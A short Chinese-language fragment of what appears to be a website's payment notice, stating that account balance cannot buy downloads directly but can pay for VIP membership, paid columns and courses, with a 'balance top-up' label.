2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值